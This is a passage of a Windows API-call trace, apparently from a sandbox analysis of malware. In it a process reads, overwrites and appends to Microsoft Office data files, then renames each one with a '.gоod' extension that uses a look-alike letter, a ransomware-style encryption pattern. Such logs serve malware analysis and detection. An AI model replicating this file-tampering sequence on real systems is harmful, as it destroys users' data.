returned 1 [0183.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.834] GetFileType (hFile=0x768) returned 0x1 [0183.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.834] GetFileType (hFile=0x768) returned 0x1 [0183.834] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x38343 [0183.834] WriteFile (in: hFile=0x768, lpBuffer=0x375e8c0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x375e8c0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0183.835] CloseHandle (hObject=0x768) returned 1 [0183.835] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0183.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0183.835] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0183.835] GetFileType (hFile=0x768) returned 0x1 [0183.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0183.835] GetFileType (hFile=0x768) returned 0x1 [0183.835] ReadFile (in: hFile=0x768, lpBuffer=0x3760cd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3760cd0*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0185.133] CloseHandle (hObject=0x768) returned 1 [0185.133] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0185.133] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.133] GetFileType (hFile=0x768) returned 0x1 [0185.133] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.133] GetFileType (hFile=0x768) returned 0x1 [0185.133] WriteFile (in: hFile=0x768, lpBuffer=0x35bdb40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x35bdb40*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0185.134] CloseHandle (hObject=0x768) returned 1 [0185.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat", lpFilePart=0x0) returned 0x53 [0185.134] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x58 [0185.134] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0185.134] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83995e7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83995e7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6a8f9064, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x38353)) returned 1 [0185.134] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0185.134] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.boot.tree.dat.gоod")) returned 1 [0185.135] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0185.135] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0185.135] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3658d20 | out: lpFileInformation=0x3658d20*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd022ae04, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd022ae04, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd03a857f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x67519)) returned 1 [0185.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0185.284] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0185.284] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.284] GetFileType (hFile=0x768) returned 0x1 [0185.284] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.284] GetFileType (hFile=0x768) returned 0x1 [0185.284] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0185.284] ReadFile (in: hFile=0x768, lpBuffer=0x3803e78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3803e78*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0185.286] CloseHandle (hObject=0x768) returned 1 [0185.286] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0185.286] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.286] GetFileType (hFile=0x768) returned 0x1 [0185.286] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.286] GetFileType (hFile=0x768) returned 0x1 [0185.286] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x67519 [0185.286] WriteFile (in: hFile=0x768, lpBuffer=0x38051e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x38051e8*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0185.288] CloseHandle (hObject=0x768) returned 1 [0185.288] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0185.288] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.288] GetFileType (hFile=0x768) returned 0x1 [0185.288] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.288] GetFileType (hFile=0x768) returned 0x1 [0185.288] ReadFile (in: hFile=0x768, lpBuffer=0x3807510, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x3807510*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0185.528] CloseHandle (hObject=0x768) returned 1 [0185.528] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0185.528] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.528] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.528] GetFileType (hFile=0x768) returned 0x1 [0185.528] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.528] GetFileType (hFile=0x768) returned 0x1 [0185.529] WriteFile (in: hFile=0x768, lpBuffer=0x362dc20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x362dc20*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0185.529] CloseHandle (hObject=0x768) returned 1 [0185.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat", lpFilePart=0x0) returned 0x4e [0185.529] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat.gоod", lpFilePart=0x0) returned 0x53 [0185.529] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0185.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd022ae04, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd022ae04, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6acb2ade, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x67529)) returned 1 [0185.529] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0185.529] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\word.x-none.msi.16.x-none.tree.dat.gоod")) returned 1 [0185.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0185.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0185.530] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x380a028 | out: lpFileInformation=0x380a028*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84391d75, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xbd39)) returned 1 [0185.530] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0185.530] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0185.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.531] GetFileType (hFile=0x768) returned 0x1 [0185.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.531] GetFileType (hFile=0x768) returned 0x1 [0185.531] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0185.531] ReadFile (in: hFile=0x768, lpBuffer=0x380a4b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x380a4b0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0185.533] CloseHandle (hObject=0x768) returned 1 [0185.533] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0185.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.533] GetFileType (hFile=0x768) returned 0x1 [0185.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.533] GetFileType (hFile=0x768) returned 0x1 [0185.533] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0xbd39 [0185.533] WriteFile (in: hFile=0x768, lpBuffer=0x380bea0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fcee1f8, lpOverlapped=0x0 | out: lpBuffer=0x380bea0*, lpNumberOfBytesWritten=0x1fcee1f8*=0x10, lpOverlapped=0x0) returned 1 [0185.534] CloseHandle (hObject=0x768) returned 1 [0185.534] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0185.534] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.535] GetFileType (hFile=0x768) returned 0x1 [0185.535] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.535] GetFileType (hFile=0x768) returned 0x1 [0185.535] ReadFile (in: hFile=0x768, lpBuffer=0x380e358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee288, lpOverlapped=0x0 | out: lpBuffer=0x380e358*, lpNumberOfBytesRead=0x1fcee288*=0x1000, lpOverlapped=0x0) returned 1 [0185.958] CloseHandle (hObject=0x768) returned 1 [0185.959] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0185.959] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.959] GetFileType (hFile=0x768) returned 0x1 [0185.959] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.959] GetFileType (hFile=0x768) returned 0x1 [0185.960] WriteFile (in: hFile=0x768, lpBuffer=0x36323b0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fcee338, lpOverlapped=0x0 | out: lpBuffer=0x36323b0*, lpNumberOfBytesWritten=0x1fcee338*=0x1010, lpOverlapped=0x0) returned 1 [0185.960] CloseHandle (hObject=0x768) returned 1 [0185.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat", lpFilePart=0x0) returned 0x4e [0185.960] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat.gоod", lpFilePart=0x0) returned 0x53 [0185.960] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0185.960] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83e0e651, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83e0e651, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6b0deecc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xbd49)) returned 1 [0185.960] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0185.961] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat.gоod" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.boot.tree.dat.gоod")) returned 1 [0185.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0185.962] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee2b0) returned 1 [0185.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat"), fInfoLevelId=0x0, lpFileInformation=0x3831688 | out: lpFileInformation=0x3831688*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd09ea90c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd09ea90c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0b41ebe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xc002)) returned 1 [0185.962] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0185.962] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0185.963] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0185.963] GetFileType (hFile=0x768) returned 0x1 [0185.963] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee120) returned 1 [0185.963] GetFileType (hFile=0x768) returned 0x1 [0185.963] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fcee308*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fcee308*=0) returned 0x1000 [0185.963] ReadFile (in: hFile=0x768, lpBuffer=0x3831af0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee2d8, lpOverlapped=0x0 | out: lpBuffer=0x3831af0*, lpNumberOfBytesRead=0x1fcee2d8*=0x1000, lpOverlapped=0x0) returned 1 [0185.965] CloseHandle (hObject=0x768) returned 1 [0185.965] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", nBufferLength=0x105, lpBuffer=0x1fcedc90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat", lpFilePart=0x0) returned 0x49 [0185.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee1b0) returned 1 [0185.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat" (normalized: "c:\\program files\\microsoft office\\root\\rsod\\wordmui.msi.16.en-us.tree.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 